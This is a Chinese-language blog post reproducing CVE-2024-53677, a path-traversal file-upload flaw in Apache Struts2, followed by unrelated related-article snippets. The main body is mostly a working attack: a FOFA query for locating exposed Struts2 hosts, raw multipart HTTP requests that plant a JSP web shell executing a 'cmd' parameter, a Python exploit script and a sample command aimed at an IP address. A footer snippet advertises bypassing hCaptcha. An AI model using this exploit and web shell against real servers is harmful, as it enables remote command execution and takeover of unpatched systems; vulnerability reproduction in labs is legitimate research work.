当前位置: 首页 > news >正文

中间件漏洞之CVE-2024-53677

目录

  • 什么是struts?
  • CVE-2024-53677
    • 简介
    • 影响版本
    • 复现环境搭建
    • 漏洞利用
    • 修复

什么是struts?

在早期的 Java Web 开发中,代码往往混乱不堪,难以维护和扩展。比如,一个简单的用户登录功能,可能在不同的 Java 类、JSP 页面中到处散落着处理逻辑、数据验证等代码。Struts 框架就是为了解决这些问题而诞生的,它让开发人员能够更有条理地组织代码,提高开发效率和代码的可维护性。
百度百科:
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

核心组件
ActionServlet:它是 Struts 框架的核心控制器,就像是一个交通指挥员。所有来自客户端的请求都会先经过它,它会根据请求的信息来决定要调用哪个具体的处理程序。
Action:这是用来处理具体业务逻辑的部分。比如用户注册、登录等操作,都有对应的 Action 来处理。它接收从页面传递过来的数据,进行相应的处理,然后决定下一步该做什么,比如是跳转到成功页面还是返回错误提示。
Struts 配置文件:通常是 struts-config.xml,它就像是一个地图,告诉框架各个组件之间的关系和如何进行配置。比如哪个 URL 对应哪个 Action,Action 处理完后要跳转到哪个页面等,都在这个文件里进行配置。
工作原理
当用户在浏览器中输入一个 URL 或者点击一个链接、提交一个表单时,请求就会发送到服务器。
服务器上的 ActionServlet 接收到请求后,会根据 Struts 配置文件来解析这个请求,找到对应的 Action。
然后 ActionServlet 会把请求交给对应的 Action 去处理。Action 会从请求中获取用户输入的数据,进行业务逻辑处理,比如验证数据的合法性、查询数据库等。
Action 处理完后,会返回一个结果,这个结果也是在 Struts 配置文件中定义好的,告诉 ActionServlet 下一步该跳转到哪个页面。
最后,ActionServlet 根据返回的结果,将相应的页面返回给用户,用户就可以在浏览器中看到最终的显示效果。

应用场景
企业级应用开发:很多大型企业的业务系统,像人力资源管理系统、财务管理系统等,都可以用 Struts 框架来开发。因为这些系统通常有复杂的业务逻辑和大量的用户交互,Struts 框架可以很好地组织和管理这些功能。
Web 应用程序开发:各种类型的网站,比如电商网站、新闻网站等,也经常会用到 Struts 框架。它可以帮助开发人员快速搭建网站的架构,实现用户注册登录、商品展示、新闻发布等功能。

CVE-2024-53677

简介

CVE-2024-53677 是 Apache Struts 框架中存在的严重远程代码执行漏洞,CVSS 评分为 9.5。该漏洞源于框架文件上传逻辑缺陷,攻击者可操纵文件上传参数,利用路径遍历将恶意文件上传至服务器其他位置,若服务器对文件类型检测不严格,就可触发远程代码执行

影响版本

2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2

  • fofa语句
app="Struts2"

复现环境搭建

git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53667 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53667 cve-2024-53667
curl http://localhost:8080/upload.action

这边我复现的时候因为docker网络问题拉不下镜像,就换了几个镜像源。然后我是映射本地的8081端口而不是8080

在这里插入图片描述

漏洞利用

上传一个txt文件,打开上传后的图片链接。发现上传路径是/uploads/
在这里插入图片描述

然后上传1.jsp,也上传成功,但是访问的时候报500错误。不过后面还是利用成功。

POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>-----------------------------338492666920734954652406641204--

在这里插入图片描述

CVE-2024-53677 可以绕过上传路径到网址根目录下

原理分析可以看Y4师傅的文章https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

现在构造数据包上传test.jsp

POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload";name="top.UploadFileName";../test.jsp
-----------------------------338492666920734954652406641204--

由于用burp抓包后不知道为什么连接不上靶机,我就用yakit了
在这里插入图片描述

然后访问

在这里插入图片描述

捡一个大佬的脚本

import requests
import argparse
import osdef send_post_request(url, filename_value, file_path, file_type):# 读取文件内容with open(file_path, 'r') as f:file_content = f.read()# 设置请求头headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',}# 设置 multipart/form-datafiles = {'Upload': (os.path.basename(file_path), file_content, 'text/html'),}# 设置字段参数,根据 -type 选择上传单文件还是多文件if file_type == 's':data = {'top.uploadFileName': filename_value,}elif file_type == 'm':data = {'uploadFileName[0]': filename_value,}else:raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")# 发送POST请求response = requests.post(url, headers=headers, files=files, data=data)# 输出响应结果print(f"Response Status Code: {response.status_code}")print(response.text)def main():# 设置命令行参数parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')parser.add_argument('-u', '--url', required=True, help='upload aciton url')parser.add_argument('-filename', required=True, help='filename with path traversal')parser.add_argument('-file', required=True, help='evil file to be uploaded')parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")# 解析参数args = parser.parse_args()# 发送POST请求send_post_request(args.url, args.filename, args.file, args.type)if __name__ == '__main__':main()

配套jsp

<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
python CVE-2024-53677.py -u http://192.168.41.219:8080/upload.action -filename ../poc.jsp -file 1.jsp -type s

搜到一个有脚本的文章https://blog.csdn.net/2202_75361164/article/details/144578662,大家可以去看看

修复

将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。


参考:
https://www.freebuf.com/vuls/418053.html

相关文章:

中间件漏洞之CVE-2024-53677

目录 什么是struts&#xff1f;CVE-2024-53677简介影响版本复现环境搭建漏洞利用修复 什么是struts&#xff1f; 在早期的 Java Web 开发中&#xff0c;代码往往混乱不堪&#xff0c;难以维护和扩展。比如&#xff0c;一个简单的用户登录功能&#xff0c;可能在不同的 Java 类…...

pytorch基于 Transformer 预训练模型的方法实现词嵌入(tiansz/bert-base-chinese)

以下是一个完整的词嵌入&#xff08;Word Embedding&#xff09;示例代码&#xff0c;使用 modelscope 下载 tiansz/bert-base-chinese 模型&#xff0c;并通过 transformers 加载模型&#xff0c;获取中文句子的词嵌入。 from modelscope.hub.snapshot_download import snaps…...

Windows电脑本地部署运行DeepSeek R1大模型(基于Ollama和Chatbox)

文章目录 一、环境准备二、安装Ollama2.1 访问Ollama官方网站2.2 下载适用于Windows的安装包2.3 安装Ollama安装包2.4 指定Ollama安装目录2.5 指定Ollama的大模型的存储目录 三、选择DeepSeek R1模型四、下载并运行DeepSeek R1模型五、常见问题解答六、使用Chatbox进行交互6.1 …...

区间覆盖问题

文章目录 1. 题面2. 简单分析3. 代码解答4. TLE的2点可能 1. 题面 给定 N N N个区间 [ a i , b i ] [a_i,b_i] [ai​,bi​] 以及一个区间 [ s , t ] [s,t] [s,t]&#xff0c;请你选择尽量少的区间&#xff0c;将指定区间完全覆盖。 输出最少区间数&#xff0c;如果无法完全…...

【LLM-agent】(task2)用llama-index搭建AI Agent

note LlamaIndex 实现 Agent 需要导入 ReActAgent 和 Function Tool&#xff0c;循环执行&#xff1a;推理、行动、观察、优化推理、重复进行。可以在 arize_phoenix 中看到 agent 的具体提示词&#xff0c;工具被装换成了提示词ReActAgent 使得业务自动向代码转换成为可能&am…...

SpringAI 人工智能

随着 AI 技术的不断发展&#xff0c;越来越多的企业开始将 AI 模型集成到其业务系统中&#xff0c;从而提升系统的智能化水平、自动化程度和用户体验。在此背景下&#xff0c;Spring AI 作为一个企业级 AI 框架&#xff0c;提供了丰富的工具和机制&#xff0c;可以帮助开发者将…...

【axios二次封装】

axios二次封装 安装封装使用 安装 pnpm add axios封装 // 进行axios二次封装&#xff1a;使用请求与响应拦截器 import axios from axios import { ElMessage } from element-plus//创建axios实例 const request axios.create({baseURL: import.meta.env.VITE_APP_BASE_API,…...

P7497 四方喝彩 Solution

Description 给定序列 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1​,a2​,⋯,an​)&#xff0c;有 m m m 个操作&#xff0c;分四种&#xff1a; add ⁡ ( l , r , v ) \operatorname{add}(l,r,v) add(l,r,v)&#xff1a;对于所有 i ∈ [ l , r ] i \in [l,r…...

深入剖析 Bitmap 数据结构:原理、应用与优化策略

深入理解 Bitmap 数据结构 一、引言 在计算机科学领域&#xff0c;数据的高效存储和快速处理一直是核心问题。随着数据量的不断增长&#xff0c;如何用最少的空间和最快的速度来表示和操作数据变得至关重要。Bitmap&#xff08;位图&#xff09;作为一种简洁而强大的数据结构…...

bypass hcaptcha、hcaptcha逆向

可以过steam&#xff0c;已支持并发&#xff0c;欢迎询问&#xff01; 有事危&#xff0c;ProfessorLuoMing...

WebForms DataList 深入解析

WebForms DataList 深入解析 引言 在Web开发领域,控件是构建用户界面(UI)的核心组件。ASP.NET WebForms框架提供了丰富的控件,其中DataList控件是一个灵活且强大的数据绑定控件。本文将深入探讨WebForms DataList控件的功能、用法以及在实际开发中的应用。 DataList控件…...

C# List 列表综合运用实例⁓Hypak原始数据处理编程小结

C# List 列表综合运用实例⁓Hypak原始数据处理编程小结 1、一个数组解决很麻烦引出的问题1.1、RAW 文件尾部数据如下:1.2、自定义标头 ADD 或 DEL 的数据结构如下&#xff1a; 2、程序 C# 源代码的编写和剖析2.1、使用 ref 关键字&#xff0c;通过引用将参数传递&#xff0c;以…...

【C++基础】字符串/字符读取函数解析

最近在学C以及STL&#xff0c;打个基础 参考&#xff1a; c中的char[] ,char* ,string三种字符串变量转化的兼容原则 c读取字符串和字符的6种函数 字符串结构 首先明确三种字符串结构的兼容关系&#xff1a;string>char*>char [] string最灵活&#xff0c;内置增删查改…...

大模型-CLIP 详细介绍

CLIP简介 CLIP&#xff08;Contrastive Language–Image Pre-training&#xff09;是由OpenAI在2021年提出的一种多模态机器学习模型。它旨在通过大量的文本-图像对进行训练&#xff0c;从而学会理解图像内容&#xff0c;并能将这些内容与相应的自然语言描述相匹配。CLIP的核心…...

1.4 Go 数组

一、数组 1、简介 数组是切片的基础 数组是一个固定长度、由相同类型元素组成的集合。在 Go 语言中&#xff0c;数组的长度是类型的一部分&#xff0c;因此 [5]int 和 [10]int 是两种不同的类型。数组的大小在声明时确定&#xff0c;且不可更改。 简单来说&#xff0c;数组…...

WebSocket——环境搭建与多环境配置

一、前言&#xff1a;为什么要使用多环境配置&#xff1f; 在开发过程中&#xff0c;我们通常会遇到多个不同的环境&#xff0c;比如开发环境&#xff08;Dev&#xff09;、测试环境&#xff08;Test&#xff09;、生产环境&#xff08;Prod&#xff09;等。每个环境的配置和需…...

三、递推关系与母函数,《组合数学(第4版)》卢开澄 卢华明

文章目录 一、似函数、非函数1.1 母函数1.2 母函数的简单应用1.3 整数拆分1.4 Ferrers 图像1.5 母函数能做什么1.6 递推关系1.6.1 Hanoi 问题1.6.2 偶数个5怎么算 1.7 Fibonacci 序列1.7.1 Fibonacci 的奇妙性质1.7.2 Fibonacci 恒等式1.7.3 Fibonacci 的直接表达式1.7.4 Fibon…...

线程互斥同步

前言&#xff1a; 简单回顾一下上文所学&#xff0c;上文我们最重要核心的工作就是介绍了我们线程自己的LWP和tid究竟是个什么&#xff0c;总结一句话&#xff0c;就是tid是用户视角下所认为的概念&#xff0c;因为在Linux系统中&#xff0c;从来没有线程这一说法&#xff0c;…...

DeepSeek R1 AI 论文翻译

摘要 原文地址&#xff1a; DeepSeek R1 AI 论文翻译 我们介绍了我们的第一代推理模型&#xff0c;DeepSeek-R1-Zero 和 DeepSeek-R1。 DeepSeek-R1-Zero 是一个通过大规模强化学习&#xff08;RL&#xff09;训练的模型&#xff0c;且在此过程中未使用监督微调&#xff08;…...

如何计算态势感知率?

态势感知率&#xff08;Situational Awareness Rate&#xff09;的计算通常需要结合具体应用场景和定义目标&#xff0c;通常涉及对感知、理解、预测三个层次的量化分析。不同领域&#xff08;如网络安全、军事、工业控制等&#xff09;可能有不同的量化方式。通用思路和常见方…...

VisualCppRedist AIO终极指南:一劳永逸解决Windows软件运行问题

VisualCppRedist AIO终极指南&#xff1a;一劳永逸解决Windows软件运行问题 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 还在为"应用程序无法启动"…...

Chasm:终端代码差异可视化工具,提升开发者代码审查效率

1. 项目概述&#xff1a;Chasm&#xff0c;一个面向开发者的轻量级代码差异可视化工具最近在折腾一个前后端分离的项目&#xff0c;前后端团队并行开发&#xff0c;每天都要处理大量的代码合并请求。每次Review代码时&#xff0c;面对GitHub或GitLab上那些密密麻麻的、纯文本的…...

Generative-AI-Playground:模块化AI应用开发实践与本地部署指南

1. 项目概述&#xff1a;一个生成式AI的“游乐场”最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“Generative-AI-Playground”&#xff0c;作者是drshahizan。光看这个名字&#xff0c;你可能会觉得这又是一个堆砌各种AI模型接口的“玩具”项目。但实际深入进去&#x…...

如何用Python快速接入Taotoken调用多模型API完成项目开发

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 如何用Python快速接入Taotoken调用多模型API完成项目开发 对于开发者而言&#xff0c;快速验证一个想法或启动一个项目&#xff0c…...

GBase 8a之替换字符串中中文的方法

主要解决问题字符串中存在中文&#xff0c;将中文识别出来&#xff0c;并替换为想要的字符串。实现原理&#xff08;1&#xff09;用REGEXP_REPLACE函数&#xff0c;将字符串里的中文字符替换为所需要的字符串。&#xff08;2&#xff09;正则表达式[\u4e00-\u9fa5]用于匹配中文…...

FPGA新手避坑指南:手把手教你写第一个仿真文件(tb.v),告别波形看不懂

FPGA仿真入门实战&#xff1a;从零编写Testbench到波形解析全攻略 引言 第一次接触FPGA仿真时&#xff0c;看着屏幕上跳动的波形图&#xff0c;那种茫然感我至今记忆犹新。明明代码看起来没问题&#xff0c;但仿真结果就是不对劲&#xff1b;或者更糟——根本不知道这些波形在表…...

从ZZULIOJ这道题出发,聊聊面试常客:有序数组合并的三种写法与性能对比

从有序数组合并看算法优化&#xff1a;三种解法与百万级数据处理实战 在技术面试中&#xff0c;有序数组合并是一个经典且高频出现的问题。它不仅考察候选人对基础算法的掌握程度&#xff0c;更能检验其在实际问题中的优化思维。本文将以ZZULIOJ平台上的1124题为例&#xff0c;…...

国央企备考求职精灵和粉笔APP哪个靠谱

每年国央企和事业单位招聘季&#xff0c;数百万求职者竞争激烈。面对庞大的招录名额、繁琐的笔试流程&#xff0c;选择合适的备考工具至关重要。市场上&#xff0c;粉笔是公考领域的老牌选手&#xff0c;而求职精灵 Genielink 作为 AI 原生工具也在改变着求职赛道格局。下面就对…...

如何在3分钟内搞定Steam成就管理:完整方案与实用工具指南

如何在3分钟内搞定Steam成就管理&#xff1a;完整方案与实用工具指南 【免费下载链接】SteamAchievementManager A manager for game achievements in Steam. 项目地址: https://gitcode.com/gh_mirrors/st/SteamAchievementManager 你是否曾为Steam游戏中那些难以完成的…...

在Node.js后端服务中集成Taotoken多模型API的实践

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 在Node.js后端服务中集成Taotoken多模型API的实践 1. 项目初始化与环境配置 在Node.js项目中集成Taotoken的第一步是建立正确的配…...